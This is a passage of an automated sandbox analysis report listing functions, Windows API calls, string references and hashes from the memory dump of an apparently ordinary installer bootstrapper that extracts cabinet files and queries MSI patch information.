Part of subcall function 009E4A6C: GetLastError.KERNEL32(?,00000000,00000000,00000000,00000000,00000001), ref: 009E4A9D

GetProcAddress.KERNEL32(MsiDeterminePatchSequenceW,00000000), ref: 009E2B41
GetProcAddress.KERNEL32(MsiDetermineApplicablePatchesW), ref: 009E2B61
GetProcAddress.KERNEL32(MsiEnumProductsExW), ref: 009E2B81
GetProcAddress.KERNEL32(MsiGetPatchInfoExW), ref: 009E2BA1
GetProcAddress.KERNEL32(MsiGetProductInfoExW), ref: 009E2BC1
GetProcAddress.KERNEL32(MsiSetExternalUIRecord), ref: 009E2BE1
GetProcAddress.KERNEL32(MsiSourceListAddSourceExW), ref: 009E2C01

Strings

MsiGetPatchInfoExW, xrefs: 009E2B96
MsiDetermineApplicablePatchesW, xrefs: 009E2B56
MsiSourceListAddSourceExW, xrefs: 009E2BF6
MsiGetProductInfoExW, xrefs: 009E2BB6
MsiEnumProductsExW, xrefs: 009E2B76
MsiSetExternalUIRecord, xrefs: 009E2BD6
Msi.dll, xrefs: 009E2B09
MsiDeterminePatchSequenceW, xrefs: 009E2B36

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressProc$ErrorLast$DirectorySystem
String ID: Msi.dll$MsiDetermineApplicablePatchesW$MsiDeterminePatchSequenceW$MsiEnumProductsExW$MsiGetPatchInfoExW$MsiGetProductInfoExW$MsiSetExternalUIRecord$MsiSourceListAddSourceExW
API String ID: 2510051996-1735120554
Opcode ID: 9107a981b09b25d5f69b1a1d9fd6aaab61864092c2f2b249c7d885ecb7f3c0d2
Instruction ID: f69a0e6ca8eb111a0c74fa63f62093f1b5fc1af113b0e5a519e76687eb3981af
Opcode Fuzzy Hash: 9107a981b09b25d5f69b1a1d9fd6aaab61864092c2f2b249c7d885ecb7f3c0d2
Instruction Fuzzy Hash: 7631B4709A124CEFDB12DFA1EF46B657BA9F715708F00062AE404562B0EBB70857AF74

Function 009C1741 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 106COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,wininet.dll,?,00000000,00000000,00000000,?,?,009AC3EB,?,00000000,?,009AC47F), ref: 009C1778
GetLastError.KERNEL32(?,009AC3EB,?,00000000,?,009AC47F,009A5405,?,?,009A5445,009A5445,00000000,?,00000000), ref: 009C1781

Strings

wininet.dll, xrefs: 009C1757
Failed to create operation complete event., xrefs: 009C17F5
Failed to create extraction thread., xrefs: 009C1841
Failed to wait for operation complete., xrefs: 009C1854
cabextract.cpp, xrefs: 009C17A5, 009C17EB, 009C1837
Failed to copy file name., xrefs: 009C1763
Failed to create begin operation event., xrefs: 009C17AF

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CreateErrorEventLast
String ID: Failed to copy file name.$Failed to create begin operation event.$Failed to create extraction thread.$Failed to create operation complete event.$Failed to wait for operation complete.$cabextract.cpp$wininet.dll
API String ID: 545576003-938279966
Opcode ID: 3024db23b2c2a2780af165370a6c797f70277f64e106f02c7cc042d447ad9286
Instruction ID: 4288b13de088ea23ad65c3e2e72adc7e380d020beb477973de7613572dc9a605
Opcode Fuzzy Hash: 3024db23b2c2a2780af165370a6c797f70277f64e106f02c7cc042d447ad9286
Instruction Fuzzy Hash: 8D210EB7D4473A77E33116954C45F2B655CEF427B4B124129BF14BB282E754DC0086EB

Function 009DFCAE Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 76libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNELBASE(SystemFunction040,AdvApi32.dll), ref: 009DFCD6
GetProcAddress.KERNEL32(SystemFunction041), ref: 009DFCE8
GetProcAddress.KERNEL32(CryptProtectMemory,Crypt32.dll), ref: 009DFD2B
GetLastError.KERNEL32(?,?,?,?,?,?), ref: 009DFD3F
GetProcAddress.KERNEL32(CryptUnprotectMemory), ref: 009DFD77
GetLastError.KERNEL32(?,?,?,?,?,?), ref: 009DFD8B

Strings

CryptProtectMemory, xrefs: 009DFD20
cryputil.cpp, xrefs: 009DFD60
SystemFunction040, xrefs: 009DFCCB
AdvApi32.dll, xrefs: 009DFCB5
CryptUnprotectMemory, xrefs: 009DFD6C
SystemFunction041, xrefs: 009DFCD8
Crypt32.dll, xrefs: 009DFD0C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressProc$ErrorLast
String ID: AdvApi32.dll$Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory$SystemFunction040$SystemFunction041$cryputil.cpp
API String ID: 4214558900-3191127217
Opcode ID: e9a70d2adf123db74282d06c715f327cac7ee0decce4a4e9351e48413b2ff7e4
Instruction ID: d77088ea4a25d0b4433d78c427fca991b64f3d13978aefeab263bac2d15147a5
Opcode Fuzzy Hash: e9a70d2adf123db74282d06c715f327cac7ee0decce4a4e9351e48413b2ff7e4
Instruction Fuzzy Hash: A221FB329D123DABC331DB95BE267067995FB10B55F018172EC13BA3E0E764AC02DAE0

Function 009C08C2 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CompareStringA.KERNELBASE(00000000,00000000,<the>.cab,?,?), ref: 009C08F2
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,?), ref: 009C090A
GetCurrentProcess.KERNEL32(?,00000000,?,?), ref: 009C090F
DuplicateHandle.KERNELBASE(00000000,?,?), ref: 009C0912
GetLastError.KERNEL32(?,?), ref: 009C091C
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,08000080,00000000,?,?), ref: 009C098B
GetLastError.KERNEL32(?,?), ref: 009C0998

Strings

Failed to add virtual file pointer for cab container., xrefs: 009C0971
Failed to open cabinet file: %hs, xrefs: 009C09C9
<the>.cab, xrefs: 009C08EB
cabextract.cpp, xrefs: 009C0940, 009C09BC
Failed to duplicate handle to cab container., xrefs: 009C094A

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CurrentErrorLastProcess$CompareCreateDuplicateFileHandleString
String ID: <the>.cab$Failed to add virtual file pointer for cab container.$Failed to duplicate handle to cab container.$Failed to open cabinet file: %hs$cabextract.cpp
API String ID: 3030546534-3446344238
Opcode ID: 91a572a01838219e229ade34b419dc8b8180560426a5f546aaea9a592767b08d
Instruction ID: 30e618409c82f2afe15098b8eee652010c34a8c6bea819d840b78d0162d2c22e
Opcode Fuzzy Hash: 91a572a01838219e229ade34b419dc8b8180560426a5f546aaea9a592767b08d
Instruction Fuzzy Hash: B531C376D4123AFBEB215B958C49F5BBA6CEF84770F110115FE08BB291D770AD0096E2

Function 009B6A57 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 69COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000000FF,00000000,00000001,00000002,?,00000000,?,?,009A4E11,?,?), ref: 009B6A77
GetCurrentProcess.KERNEL32(?,00000000,?,?,009A4E11,?,?), ref: 009B6A7D
DuplicateHandle.KERNELBASE(00000000,?,?,009A4E11,?,?), ref: 009B6A80
GetLastError.KERNEL32(?,?,009A4E11,?,?), ref: 009B6A8A
CloseHandle.KERNEL32(000000FF,?,009A4E11,?,?), ref: 009B6B03

Strings

Failed to append the file handle to the command line., xrefs: 009B6AEB
%ls -%ls=%u, xrefs: 009B6AD7
burn.filehandle.attached, xrefs: 009B6AD0
core.cpp, xrefs: 009B6AAE
Failed to duplicate file handle for attached container., xrefs: 009B6AB8

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CurrentHandleProcess$CloseDuplicateErrorLast
String ID: %ls -%ls=%u$Failed to append the file handle to the command line.$Failed to duplicate file handle for attached container.$burn.filehandle.attached$core.cpp
API String ID: 4224961946-4196573879
Opcode ID: 39f1e01b0e406a301098f7d81d777f98ec0fc111edc79c155a7fd1fb7027bdd0
Instruction ID: 53b56fcc92136a1cb87eb6d21e95142c3cad5d241b9590870cff98abaf0cddd1
Opcode Fuzzy Hash: 39f1e01b0e406a301098f7d81d777f98ec0fc111edc79c155a7fd1fb7027bdd0
Instruction Fuzzy Hash: F711723295162AFBCB109FA98D05E9EBB68AF45730F114251FA24FB2D0D7B4AD009790

Function 009E32F3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 009E3309
SysAllocString.OLEAUT32(?), ref: 009E3325
VariantClear.OLEAUT32(?), ref: 009E33AC
SysFreeString.OLEAUT32(00000000), ref: 009E33B7

Strings

`<u, xrefs: 009E33B7
xmlutil.cpp, xrefs: 009E333C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: StringVariant$AllocClearFreeInit
String ID: `<u$xmlutil.cpp
API String ID: 760788290-3482516102
Opcode ID: 8ea3b0386e9006cf1d4875d61ed953e66dc5977ef40a2c330a1c402d33c523d2
Instruction ID: 75c86854f3968174af7611062ac094e54cca6363d391df53708c4fc0fd334984
Opcode Fuzzy Hash: 8ea3b0386e9006cf1d4875d61ed953e66dc5977ef40a2c330a1c402d33c523d2
Instruction Fuzzy Hash: 9F21D331901259FFCB12DF96C84DFAFBBB9AF85711F548158F801AB260CB319E009B90

Function 009E0879 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32(?,00000008,?,009A53BD,00000000,?,?,?,?,?,?,?,009B769D,00000000), ref: 009E0897
GetLastError.KERNEL32(?,?,?,?,?,?,?,009B769D,00000000), ref: 009E08A1
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?,?,?,?,?,?,?,?,009B769D,00000000), ref: 009E08D3
GetLastError.KERNEL32(?,?,?,?,?,?,?,009B769D,00000000), ref: 009E08EC
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,009B769D,00000000), ref: 009E092B

Strings

procutil.cpp, xrefs: 009E0919

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastToken$CloseHandleInformationOpenProcess
String ID: procutil.cpp
API String ID: 4040495316-1178289305
Opcode ID: a2d5f281f90ef2b418e726143c3bdb4cc021c78258946f730eaa971786c23498
Instruction ID: 7e0e3546b1c22f7fc8e401b6a82cb247a5c10d7da739bbc68c11ea8383389559
Opcode Fuzzy Hash: a2d5f281f90ef2b418e726143c3bdb4cc021c78258946f730eaa971786c23498
Instruction Fuzzy Hash: A221D432D00269EBDB229F969C44A9EBBACEF94711F014056ED14AB251D3B09E40EAD0

Function 009B6B13 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000005,?,00000003,00000080,00000000,?,00000000,?,?,?), ref: 009B6B49
CloseHandle.KERNEL32(00000000), ref: 009B6BB9

Strings

Failed to append the file handle to the command line., xrefs: 009B6B75
%ls -%ls=%u, xrefs: 009B6B61, 009B6B93
burn.filehandle.self, xrefs: 009B6B5A, 009B6B8C
Failed to append the file handle to the obfuscated command line., xrefs: 009B6BA7

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: %ls -%ls=%u$Failed to append the file handle to the command line.$Failed to append the file handle to the obfuscated command line.$burn.filehandle.self
API String ID: 3498533004-3263533295
Opcode ID: 0b3421e5bcf2a466e0ab6eb9e5a854127e886202b4ce967d7471d16693553fca
Instruction ID: f1b2654afbe104b66554f1ba11470a9c42015689e1939b1f7085da7a1f177941
Opcode Fuzzy Hash: 0b3421e5bcf2a466e0ab6eb9e5a854127e886202b4ce967d7471d16693553fca
Instruction Fuzzy Hash: 0A11E632604628BFCB215A68CD45FAB77BCDB85B34F460350FE28EB2E1D7B468118691

Function 009E3565 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 009E3574
InterlockedIncrement.KERNEL32(00A0B6C8), ref: 009E3591
CLSIDFromProgID.COMBASE(Msxml2.DOMDocument,00A0B6B8,?,?,?,?,?,?), ref: 009E35AC
CLSIDFromProgID.OLE32(MSXML.DOMDocument,00A0B6B8,?,?,?,?,?,?), ref: 009E35B8

Strings

Msxml2.DOMDocument, xrefs: 009E35A7
MSXML.DOMDocument, xrefs: 009E35B3

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FromProg$IncrementInitializeInterlocked
String ID: MSXML.DOMDocument$Msxml2.DOMDocument
API String ID: 2109125048-2356320334
Opcode ID: e7758be465306867ac1a29d8bc7c1d4220b4fa337df31a27788866f25b2fd94a
Instruction ID: 99815b957cd9d211341430e31245ff6dcaece5e86718d8cf7e1ade130ce6b006
Opcode Fuzzy Hash: e7758be465306867ac1a29d8bc7c1d4220b4fa337df31a27788866f25b2fd94a
Instruction Fuzzy Hash: F7F0E530B552AD67C3225BA3FE0DF172D69EB80B58F100929F808C72A4DB70CD428AB0

Function 009E4A6C Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00000000,00000000,00000000,00000001), ref: 009E4A9D
GlobalAlloc.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 009E4ACA
GetLastError.KERNEL32(?,00000000,?,00000000), ref: 009E4AF6
GetLastError.KERNEL32(00000000,009EB7A0,?,00000000,?,00000000,?,00000000), ref: 009E4B34
GlobalFree.KERNEL32(00000000), ref: 009E4B65

Strings

fileutil.cpp, xrefs: 009E4AB8, 009E4B11

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$Global$AllocFree
String ID: fileutil.cpp
API String ID: 1145190524-2967768451
Opcode ID: 100e6c1a1af18a82837ae2058a1c18bc0936dbb981191eabc97c75a631d77fe7
Instruction ID: 5aaf99c03c4be4676ac9f729d87a27cf0153804990bc59a6eb95b27614ded211
Opcode Fuzzy Hash: 100e6c1a1af18a82837ae2058a1c18bc0936dbb981191eabc97c75a631d77fe7
Instruction Fuzzy Hash: 3231B636D40269ABC7239A9A8C41FAFBAB9AF84760F154165FD14EB340E730DD0096D4

Function 009C0A81 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 101COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?), ref: 009C0B27
GetLastError.KERNEL32(?,?,?), ref: 009C0B31

Strings

cabextract.cpp, xrefs: 009C0B55
Failed to move file pointer 0x%x bytes., xrefs: 009C0B62
Invalid seek type., xrefs: 009C0ABD

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID: Failed to move file pointer 0x%x bytes.$Invalid seek type.$cabextract.cpp
API String ID: 2976181284-417918914
Opcode ID: ff37071e7429d98385a2c1c7d1ef9d463d1bd94c2532baf81dc3f79b1b7fce09
Instruction ID: d14101bedde8ee4b7f0f441f635a9ab43aa08d5e4694d243e1664abe9b5267d7
Opcode Fuzzy Hash: ff37071e7429d98385a2c1c7d1ef9d463d1bd94c2532baf81dc3f79b1b7fce09
Instruction Fuzzy Hash: B031C371E4021AEFCF11CF98C884E6EB769FF84724F048219FA2497251D334ED108B91

Function 009A4115 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,840F01E8,00000000,00000000,?,009BA0E8,00000000,00000000,?,00000000,009A53BD,00000000,?,?,009AD5B5,?), ref: 009A4123
GetLastError.KERNEL32(?,009BA0E8,00000000,00000000,?,00000000,009A53BD,00000000,?,?,009AD5B5,?,00000000,00000000), ref: 009A4131
CreateDirectoryW.KERNEL32(?,840F01E8,009A5489,?,009BA0E8,00000000,00000000,?,00000000,009A53BD,00000000,?,?,009AD5B5,?,00000000), ref: 009A419A
GetLastError.KERNEL32(?,009BA0E8,00000000,00000000,?,00000000,009A53BD,00000000,?,?,009AD5B5,?,00000000,00000000), ref: 009A41A4

Strings

dirutil.cpp, xrefs: 009A41D4

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: dirutil.cpp
API String ID: 1375471231-2193988115
Opcode ID: 8107aa24fc4a8f7b2b8ab26b54f79b0a2e7aabbd4fd881273d6bed0c2db47503
Instruction ID: 09807debc79607f952872908bc2e8d7b3a7e4ff658a06753ff0ee5dee8408c87
Opcode Fuzzy Hash: 8107aa24fc4a8f7b2b8ab26b54f79b0a2e7aabbd4fd881273d6bed0c2db47503
Instruction Fuzzy Hash: 1511E43664C33596D7711BA54C84B3BA698EFF7B71F114021FD04EB250E3E48C8192D1

Function 009A56A9 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

CompareStringW.KERNELBASE(0000007F,00001000,?,000000FF,version.dll,000000FF,?,?,00000000,009A6595,009A6595,?,009A563D,?,?,00000000), ref: 009A56E5
GetLastError.KERNEL32(?,009A563D,?,?,00000000,?,?,009A6595,?,009A7F02,?,?,?,?,?), ref: 009A5714

Strings

Failed to compare strings., xrefs: 009A5742
variable.cpp, xrefs: 009A5738
version.dll, xrefs: 009A56D7

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareErrorLastString
String ID: Failed to compare strings.$variable.cpp$version.dll
API String ID: 1733990998-4228644734
Opcode ID: 8f3cdc6cfc7e31120ebe9640c65b9154db81e3929d5dda17d5139423b2addab8
Instruction ID: 4ac97ab052233a8ee6f904ccc8ea096769aa660f287b9daf74f38ef574fd222a
Opcode Fuzzy Hash: 8f3cdc6cfc7e31120ebe9640c65b9154db81e3929d5dda17d5139423b2addab8
Instruction Fuzzy Hash: E3210436744925EBCB118F98CD44A5ABBA8FB46730B220319F924FB3D0E630EE0186D0

Function 009E0A28 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF,?,00000000,?,?,009A4F1C,?,000000FF,?,?,?,?,?,00000000,?,?), ref: 009E0A38
GetLastError.KERNEL32(?,?,009A4F1C,?,000000FF,?,?,?,?,?,00000000,?,?,?,?,?), ref: 009E0A46
GetExitCodeProcess.KERNELBASE(000000FF,?), ref: 009E0A8B
GetLastError.KERNEL32(?,?,009A4F1C,?,000000FF,?,?,?,?,?,00000000,?,?,?,?,?), ref: 009E0A95

Strings

procutil.cpp, xrefs: 009E0A6A

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CodeExitObjectProcessSingleWait
String ID: procutil.cpp
API String ID: 590199018-1178289305
Opcode ID: 57da65943f6ff5b6c960471b294cfd59ad4ddba0020279effaf355c94098131b
Instruction ID: de081bbd1c614bfc6385a389202ea584b5cff89fbaaea0e03b75ae91b7c7213c
Opcode Fuzzy Hash: 57da65943f6ff5b6c960471b294cfd59ad4ddba0020279effaf355c94098131b
Instruction Fuzzy Hash: 1A112937D0537DE7C7228B928C0CA9F7AA8EF44770F124124FD50AB390D2B48D409AD0

Function 009C09EA Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009C140C: SetFilePointerEx.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000000,?,009C0A19,?,?,?), ref: 009C1434
Part of subcall function 009C140C: GetLastError.KERNEL32(?,009C0A19,?,?,?), ref: 009C143E

ReadFile.KERNELBASE(?,?,?,?,00000000,?,?,?), ref: 009C0A27
GetLastError.KERNEL32 ref: 009C0A31

Strings

cabextract.cpp, xrefs: 009C0A55
Failed to read during cabinet extraction., xrefs: 009C0A5F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLast$PointerRead
String ID: Failed to read during cabinet extraction.$cabextract.cpp
API String ID: 2170121939-2426083571
Opcode ID: 82f146c6297bf1d653ca84c731e54b143437fe105e19ddf355951dc0ae8d1f29
Instruction ID: b552e0efe4d4b2ac31f37720805461dbb8277c38f1e19c0c02999556434acd77
Opcode Fuzzy Hash: 82f146c6297bf1d653ca84c731e54b143437fe105e19ddf355951dc0ae8d1f29
Instruction Fuzzy Hash: 7F11CE76A00269FBCB219F95DC08F9A7BA8FF89760F014119FE18A7291C730AD1097E1

Function 009C140C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000000,?,009C0A19,?,?,?), ref: 009C1434
